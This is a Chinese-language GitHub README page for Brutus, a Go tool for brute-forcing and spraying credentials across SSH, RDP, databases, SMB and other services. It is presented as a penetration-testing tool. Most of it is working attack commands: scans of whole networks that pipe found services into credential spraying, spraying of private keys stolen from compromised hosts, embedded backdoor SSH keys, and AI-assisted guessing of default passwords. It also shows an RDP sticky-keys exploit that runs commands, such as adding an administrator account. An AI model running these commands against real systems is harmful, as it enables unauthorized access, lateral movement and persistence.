praetorian-inc/brutus
GitHub: praetorian-inc/brutus
用 Go 语言编写的现代多协议凭据测试工具,零依赖单文件部署,支持与 fingerprintx、naabu 侦察工具链无缝集成。
Stars: 130 | Forks: 14
Brutus
“还有你吗,布鲁图?” —— 凭据沦陷前的最后一句话。
纯 Go 编写的现代凭据测试工具
## 概述 Brutus 是一个多协议身份验证测试工具,旨在填补进攻性安全工具领域的一个关键空白:跨多样化网络服务的高效凭据验证。虽然专注于 HTTP 的工具比比皆是,但渗透测试人员和红队操作员经常遇到需要专门构建的身份验证测试能力的数据库、SSH、SMB 和其他网络服务。 Brutus 使用 Go 语言构建,作为单个二进制文件,零外部依赖,与 [fingerprintx](https://github.com/praetorian-inc/fingerprintx) 无缝集成以进行自动服务发现,使操作员能够快速识别并测试整个网络范围内的身份验证向量。 **主要特性:** - **零依赖:** 单个二进制文件,跨平台(Linux, Windows, macOS) - **24 种协议:** SSH, RDP, MySQL, PostgreSQL, MSSQL, Redis, SMB, LDAP, WinRM, SNMP, HTTP Basic Auth 等 - **Pipeline 集成:** 原生支持 fingerprintx 和 naabu 工作流 - **嵌入式坏密钥:** 内置已知 SSH 密钥集合(Vagrant, F5, ExaGrid 等) - **Go 库:** 直接导入到您的安全自动化工具中 - **生产就绪:** 速率限制、连接池和全面的错误处理 ## 为什么选择 Brutus? 像 **THC Hydra** 这样的传统工具为安全社区提供了良好的服务,但它们带来了显著的阻力:复杂的依赖链、特定于平台的编译问题,以及与现代侦察工作流没有原生集成。 **Brutus** 专为现代进攻性安全而构建: - **真正的零依赖部署:** 下载单个二进制文件即可运行。无需 `libssh-dev`,无需 `libmysqlclient-dev`,没有编译错误。在 Linux、macOS 和 Windows 上工作方式完全相同。 - **原生 Pipeline 集成:** Brutus 说 JSON,并直接与 [fingerprintx](https://github.com/praetorian-inc/fingerprintx) 和 [naabu](https://github.com/projectdiscovery/naabu) 集成。将发现的服务直接通过管道传输到凭据测试中,无需格式转换或脚本编写。 - **嵌入式智能:** 已知的 SSH 坏密钥(Vagrant, F5 BIG-IP, ExaGrid 等)被编译到二进制文件中,并针对 SSH 目标自动进行测试。 - **库优先设计:** 将 Brutus 直接导入您的 Go 安全工具中。构建自定义自动化,而无需通过 Shell 调用外部进程。 ``` # 单次 pipeline 完成全网络凭证审计 naabu -host 10.0.0.0/24 -p 22,3306,5432,6379 -silent | fingerprintx --json | brutus --json ``` ## 使用场景 ### 渗透测试 - 在内部评估期间跨多个服务验证发现的凭据 - 测试数据库和文件共享服务之间的密码重用模式 - 识别新部署基础设施上的默认凭据 ### 红队行动 - 在密码转储或钓鱼活动后进行快速凭据验证 - 测试跨网络服务的横向移动机会 - 在异构环境中验证受损凭据 ### 私钥喷洒 在受损系统上发现了私钥?将其喷洒到网络中以查找它还在哪里授予访问权限: ``` # 发现 SSH 服务并喷洒发现的私钥 naabu -host 10.0.0.0/24 -p 22 -silent | \ fingerprintx --json | \ brutus -u root,admin,ubuntu,deploy -k /path/to/found_key --json ``` 此 Pipeline 发现所有 SSH 服务,使用 fingerprintx 识别它们,并针对常见用户名测试受损密钥——在几秒钟内揭示横向移动机会。 ### Web 管理面板测试 发现具有 Basic Auth 的 HTTP 服务并测试默认凭据: ``` # 发现并测试网络中的管理面板 naabu -host 10.0.0.0/24 -p 80,443,3000,8080,9090 -silent | \ fingerprintx --json | \ brutus --json ``` ### 安全验证 - 测试新部署服务上的默认凭据 - 验证跨平台的密码策略执行情况 - 为合规性和安全评估生成审计跟踪 ## 安装 ### 预构建二进制文件(推荐) 从 [GitHub Releases](https://github.com/praetorian-inc/brutus/releases) 下载: ``` # Linux (amd64) curl -L https://github.com/praetorian-inc/brutus/releases/latest/download/brutus-linux-amd64.tar.gz | tar xz sudo mv brutus /usr/local/bin/ # macOS (Apple Silicon) curl -L https://github.com/praetorian-inc/brutus/releases/latest/download/brutus-darwin-arm64.tar.gz | tar xz sudo mv brutus /usr/local/bin/ # macOS (Intel) curl -L https://github.com/praetorian-inc/brutus/releases/latest/download/brutus-darwin-amd64.tar.gz | tar xz sudo mv brutus /usr/local/bin/ ``` ``` # Windows (PowerShell) Invoke-WebRequest -Uri https://github.com/praetorian-inc/brutus/releases/latest/download/brutus-windows-amd64.zip -OutFile brutus.zip Expand-Archive -Path brutus.zip -DestinationPath . Remove-Item brutus.zip ``` ### Go Install ``` go install github.com/praetorian-inc/brutus/cmd/brutus@latest ``` ## 快速开始 ### 基本用法 ``` # 使用嵌入式 badkeys 测试 SSH (默认测试) brutus --target 192.168.1.100:22 --protocol ssh # 使用特定凭证测试 brutus --target 192.168.1.100:22 --protocol ssh -u root -p toor # 使用用户名和密码列表测试 brutus --target 192.168.1.100:22 --protocol ssh -U users.txt -P passwords.txt # 测试 MySQL 数据库 brutus --target 192.168.1.100:3306 --protocol mysql -u root -p password # 使用特定私钥测试 SSH brutus --target 192.168.1.100:22 --protocol ssh -u deploy -k /path/to/id_rsa # 增加线程以加快测试速度 brutus --target 192.168.1.100:22 --protocol ssh -t 20 # 用于脚本编写的 JSON 输出 brutus --target 192.168.1.100:22 --protocol ssh --json ``` ### 输出示例 ``` $ brutus --target 192.168.1.100:22 --protocol ssh -u root,admin -p toor,password,admin [*] Loaded 9 badkeys for SSH testing [+] VALID: ssh root:toor @ 192.168.1.100:22 (1.23s) ``` 使用详细模式(`-v`): ``` $ brutus --target 192.168.1.100:22 --protocol ssh -u root -p password,toor -v [*] Loaded 9 badkeys for SSH testing [-] FAILED: ssh root:password @ 192.168.1.100:22 (0.45s) [+] VALID: ssh root:toor @ 192.168.1.100:22 (0.52s) ``` 用于 Pipeline 集成的 JSON 输出(仅输出成功的凭据): ``` $ brutus --target 192.168.1.100:22 --protocol ssh -u root -p toor --json {"protocol":"ssh","target":"192.168.1.100:22","username":"root","password":"toor","duration":"1.234567ms","banner":"SSH-2.0-OpenSSH_8.9p1"} ``` ## Pipeline 集成 Brutus 与 **[fingerprintx](https://github.com/praetorian-inc/fingerprintx)** 和 **[naabu](https://github.com/projectdiscovery/naabu)** 无缝集成,以实现完整的网络侦察。 ### 现实场景 #### 场景 1:扫描企业 /24 网络 ``` # 发现所有开放端口,识别服务,测试默认凭证 naabu -host 10.10.10.0/24 -p 22,23,21,3306,5432,6379,27017,445 -silent | \ fingerprintx --json | \ brutus --json -o results.json # 审查发现结果(所有输出均为成功获取的凭证) cat results.json | jq '.' ``` #### 场景 2:对目标域进行 Bug Bounty 侦察 ``` # 针对单个目标的完整 pipeline naabu -host target.example.com -top-ports 1000 -silent | \ fingerprintx --json | \ brutus # 或扫描子域列表 cat subdomains.txt | naabu -silent | fingerprintx --json | brutus ``` #### 场景 3:内部评估中的数据库搜寻 ``` # 查找并测试范围内所有数据库 naabu -host 192.168.0.0/16 -p 3306,5432,1433,27017,6379,9042 -silent | \ fingerprintx --json | \ brutus -t 5 --json | \ tee database-findings.json # 以可读格式提取凭证 jq -r '"\(.target) \(.username):\(.password)"' database-findings.json ``` #### 场景 4:跨基础设施的 SSH 密钥测试 ``` # 测试范围内嵌入式坏密钥 (Vagrant, F5 BIG-IP, ExaGrid 等) # SSH 服务默认测试 Badkeys naabu -host 10.0.0.0/8 -p 22 -rate 1000 -silent | \ fingerprintx --json | \ brutus --json -o ssh-key-findings.json # 查找使用 SSH 密钥的系统 (key 字段为 true) cat ssh-key-findings.json | jq 'select(.key == true)' ``` #### 场景 5:针对性服务测试 ``` # 仅测试网络中发现的 Redis 实例 naabu -host 172.16.0.0/12 -p 6379 -silent | \ fingerprintx --json | \ brutus # 仅使用自定义凭证测试 MongoDB naabu -host 10.0.0.0/24 -p 27017 -silent | \ fingerprintx --json | \ brutus -u admin,root,mongodb -p admin,password,mongodb ``` ### Pipeline 输入格式 Brutus 接受来自 fingerprintx 的 JSON 格式输入: ``` # fingerprintx JSON 输出 {"ip":"192.168.1.100","port":22,"service":"ssh","version":"OpenSSH_8.9p1"} {"ip":"192.168.1.101","port":3306,"service":"mysql","version":"8.0.32"} {"ip":"192.168.1.102","port":6379,"service":"redis","version":"7.0.5"} ``` Brutus 自动: - 解析 JSON 流 - 将服务映射到协议 - 测试适当的默认凭据 - 以匹配的 JSON 格式输出结果 ### Pipeline 输出格式 Brutus 仅以 JSONL 格式(每行一个 JSON 对象)输出成功的凭据: ``` # Brutus JSON 输出 (使用 --json 标志) - 仅显示成功验证 {"protocol":"ssh","target":"192.168.1.100:22","username":"root","password":"toor","duration":"1.234567ms","banner":"SSH-2.0-OpenSSH_8.9p1"} {"protocol":"mysql","target":"192.168.1.101:3306","username":"root","password":"","duration":"890.123µs"} {"protocol":"ssh","target":"192.168.1.103:22","username":"vagrant","key":true,"duration":"2.345678ms","banner":"SSH-2.0-OpenSSH_9.6"} ``` **注意:** 失败的身份验证尝试不包含在 JSON 输出中。当身份验证使用 SSH 密钥而不是密码时,会出现 `key` 字段(值为 `true`)。 ## 对比 | 特性 | Hydra | Medusa | Ncrack | **Brutus** | |---------|:-----:|:------:|:------:|:----------:| | 单一二进制文件 | ❌ | ❌ | ❌ | ✅ | | 零依赖 | ❌ | ❌ | ❌ | ✅ | | fingerprintx Pipeline | ❌ | ❌ | ❌ | ✅ | | JSON 流式传输 | ⚠️ | ❌ | ❌ | ✅ | | 跨平台 | ⚠️ | ⚠️ | ⚠️ | ✅ | | 一致的错误 | ⚠️ | ⚠️ | ⚠️ | ✅ | | 积极开发中 | ✅ | ⚠️ | ❌ | ✅ | | 嵌入式坏密钥 | ❌ | ❌ | ❌ | ✅ | | Go 库导入 | ❌ | ❌ | ❌ | ✅ | ## 支持的协议 Brutus 支持 **24 种协议**: ### 网络服务 | 协议 | 端口 | 认证方式 | 使用场景 | |----------|------|--------------|----------| | SSH | 22 | Password, Private Keys | 服务器,网络设备 | | FTP | 21 | Password | 文件服务器,NAS 设备 | | Telnet | 23 | Password | 遗留系统,IoT 设备 | | VNC | 5900 | Password | 远程桌面 | | RDP | 3389 | NLA/CredSSP, Password | Windows 服务器,工作站 | | SNMP | 161 | Community String | 网络设备,打印机 | ### Web 服务 | 协议 | 端口 | 认证方式 | 使用场景 | |----------|------|--------------|----------| | HTTP | 80 | Basic Auth | 管理面板(Grafana, Jenkins 等) | | HTTPS | 443 | Basic Auth | 安全管理面板 | ### 企业基础设施 | 协议 | 端口 | 认证方式 | 使用场景 | |----------|------|--------------|----------| | SMB | 445 | Password, NTLM | Windows 网络,文件共享 | | LDAP | 389/636 | Bind DN | Active Directory, 身份管理 | | WinRM | 5985/5986 | NTLM | Windows 远程管理 | ### 数据库 | 协议 | 端口 | 认证方式 | 使用场景 | |----------|------|--------------|----------| | MySQL | 3306 | Password | Web 应用程序 | | PostgreSQL | 5432 | Password | 现代应用程序 | | MSSQL | 1433 | Password | 企业应用程序 | | MongoDB | 27017 | Password | NoSQL 后端 | | Redis | 6379 | Password | 缓存,会话 | | Neo4j | 7687 | Password | 图数据库 | | Cassandra | 9042 | Password | 分布式数据库 | | CouchDB | 5984 | HTTP Basic | 文档存储 | | Elasticsearch | 9200 | HTTP Basic | 搜索引擎 | | InfluxDB | 8086 | HTTP Basic | 时间序列数据 | ### 通信 | 协议 | 端口 | 认证方式 | 使用场景 | |----------|------|--------------|----------| | SMTP | 25/587 | Password | 邮件中继 | | IMAP | 143/993 | Password | 邮箱访问 | | POP3 | 110/995 | Password | 邮箱访问 | ## 嵌入式 SSH 坏密钥 单一二进制文件部署,无需外部密钥文件。每个密钥都与其默认用户名配对以进行智能凭据映射,CVE 跟踪支持合规性查询。 Brutus 在二进制文件中携带了 **[rapid7/ssh-badkeys](https://github.com/rapid7/ssh-badkeys)** 和 **[Vagrant](https://github.com/hashicorp/vagrant)** 密钥集合: ``` # 针对目标测试所有嵌入式坏密钥 (SSH 默认启用) brutus --target 192.168.1.100:22 --protocol ssh # 结合 pipeline 进行全网密钥测试 naabu -host 10.0.0.0/24 -p 22 -silent | fingerprintx --json | brutus ``` ### 嵌入式密钥集合 | 产品 | CVE | 默认用户 | 描述 | |---------|-----|--------------|-------------| | Vagrant | - | vagrant | HashiCorp Vagrant 不安全密钥 | | F5 BIG-IP | CVE-2012-1493 | root | 静态 SSH 主机密钥 | | ExaGrid | CVE-2016-1561 | root | 备份设备后门 | | Barracuda | CVE-2014-8428 | cluster | 负载均衡器 VM | | Ceragon FibeAir | CVE-2015-0936 | mateidu | 无线回传 | | Array Networks | - | sync | vAPV/vxAG 设备 | | Quantum DXi | - | root | 重复数据删除设备 | | Loadbalancer.org | - | root | 企业负载均衡器 | ## 库集成 对于构建安全自动化工具的开发人员,Brutus 也可以作为 Go 库导入: ``` go get github.com/praetorian-inc/brutus ``` ``` package main import ( "fmt" "time" "github.com/praetorian-inc/brutus/pkg/brutus" _ "github.com/praetorian-inc/brutus/pkg/builtins" // registers all protocols and analyzers ) func main() { config := &brutus.Config{ Target: "192.168.1.100:22", Protocol: "ssh", Usernames: []string{"root", "admin"}, Passwords: []string{"password", "admin", "toor"}, Timeout: 5 * time.Second, Threads: 10, StopOnSuccess: true, } results, err := brutus.Brute(config) if err != nil { panic(err) } for _, r := range results { if r.Success { fmt.Printf("[+] Valid: %s:%s\n", r.Username, r.Password) } } } ``` ## 实验性:AI 驱动的凭据检测 ### `--experimental-ai` 标志 `--experimental-ai` 标志为 HTTP 服务启用自动凭据检测: ``` # 设置 API 密钥 export ANTHROPIC_API_KEY="your-anthropic-key" # Required: Claude Vision for device identification export PERPLEXITY_API_KEY="your-perplexity-key" # Optional: additional web search # 针对 HTTP 服务的 AI 驱动凭证测试 naabu -host 192.168.1.0/24 -p 80,443,8080 -silent | \ fingerprintx --json | \ brutus --experimental-ai ``` **工作原理:** 1. **检测** — Brutus 探测 HTTP 目标以检测认证类型(Basic Auth vs 基于表单) 2. **设备识别** — Claude Vision 分析屏幕截图以识别设备/应用程序 3. **凭据建议** — Claude 根据其训练数据建议默认凭据 4. **可选 Web 搜索** — Perplexity(如果已配置)在线搜索其他凭据 5. **测试** — 针对目标测试发现的凭据 **对于 HTTP Basic Auth 目标:** - 探测 `/` 以捕获 HTTP 头 - 从 Server 头、WWW-Authenticate realm 等识别设备 - Claude 建议可能的默认凭据 - 自动测试凭据对 **对于基于 HTTP 表单认证的目标:** - 使用无头 Chrome 渲染页面并截图 - Claude Vision 识别登录表单、设备类型并建议凭据 - Perplexity(可选)搜索其他默认凭据 - 浏览器自动化填充并提交表单 **要求:** - `ANTHROPIC_API_KEY` — Claude Vision **必需**(设备识别 + 凭据建议) - `PERPLEXITY_API_KEY` — *可选*,用于额外的网络搜索研究 - 安装 Chrome/Chromium(仅用于基于表单的认证) **非 HTTP 协议(SSH, MySQL 等)不受 `--experimental-ai` 影响** — 它们继续使用标准凭据测试。 ## RDP:粘滞键后门检测与利用 Brusus 包含对 RDP 目标上 **粘滞键后门**(MITRE ATT&CK [T1546.008](https://attack.mitre.org/techniques/T1546/008/))的自动检测。此预认证检查在非 NLA RDP 目标上运行 —— 无需凭据。 **工作原理:** 1. 连接到 RDP 目标并协商非 NLA 会话 2. 捕获登录屏幕位图作为基线 3. 发送 5 次 Shift 键(粘滞键触发器) 4. 捕获响应位图 5. 启发式分析检测是否出现了终端窗口(cmd.exe, PowerShell 等) 6. 通过 Claude Vision API 可选确认(当 `ANTHROPIC_API_KEY` 时) ``` # 仅检测 — 无暴力破解 (未提供凭证) brutus --target 10.0.0.50:3389 --protocol rdp --sticky-keys # 检测 + Vision API 确认 brutus --target 10.0.0.50:3389 --protocol rdp --sticky-keys --experimental-ai ``` **仅检测模式:** 当使用 `--sticky-keys` 但未提供显式凭据(`-p`/`-P`/`-k`)时,Brutus 完全跳过暴力破解,仅运行粘滞键检测。要将检测与凭据测试结合,请显式提供凭据: ``` # 仅检测 (无暴力破解) brutus --target 10.0.0.50:3389 --protocol rdp --sticky-keys # 检测 + 凭证测试 brutus --target 10.0.0.50:3389 --protocol rdp --sticky-keys -u administrator -p "Password1" ``` **检测输出:** ``` [CRITICAL] Sticky keys backdoor CONFIRMED (confidence: 85%) sethc.exe has been replaced with cmd.exe or similar. SYSTEM-level unauthenticated access available via 5x Shift. ``` ### 通过粘滞键执行命令(`--sticky-keys-exec`) 一旦检测到后门,通过预认证命令提示符在远程系统上执行命令: ``` # 通过后门执行单条命令 brutus --target 10.0.0.50:3389 --protocol rdp --sticky-keys --sticky-keys-exec "whoami" # 添加本地管理员账户 brutus --target 10.0.0.50:3389 --protocol rdp --sticky-keys \ --sticky-keys-exec "net user attacker P@ssw0rd /add && net localgroup administrators attacker /add" ``` 这将连接、触发后门、输入命令、按 Enter、等待输出,并保存结果的 PNG 屏幕截图。 ### 交互式 Web 终端(`--sticky-keys-web`) 启动基于浏览器的 RDP 查看器,以便与后门命令提示符进行实时交互: ``` # 启动交互式 Web 终端 brutus --target 10.0.0.50:3389 --protocol rdp --sticky-keys --sticky-keys-web ``` 这将启动一个本地 HTTP 服务器,包含: - **实时屏幕流** ~10 FPS(JPEG over WebSocket) - **全键盘转发**(从浏览器 KeyboardEvent 映射的 PS/2 扫描码) - **鼠标支持**(点击、移动、右键点击) - **连接状态** 带有断开连接覆盖层和重新连接按钮 在任何浏览器中打开显示的 URL(例如 `http://127.0.0.1:标签:AI工具, DOS头擦除, EVTX分析, EVTX分析, Go语言, Homebrew安装, Hydra替代, LDAP, Linux工具, MongoDB, PoC, PostgreSQL, RDP, Redis, SMB, SSH破解, WinRM, 内存分配, 凭证测试, 协议分析, 密码破解, 并发处理, 攻击模拟, 数据统计, 日志审计, 暴力破解, 服务指纹, 权限提升, 程序破解, 端口扫描, 端口探测, 网络安全, 错误配置检测, 隐私保护, 零依赖, 驱动签名利用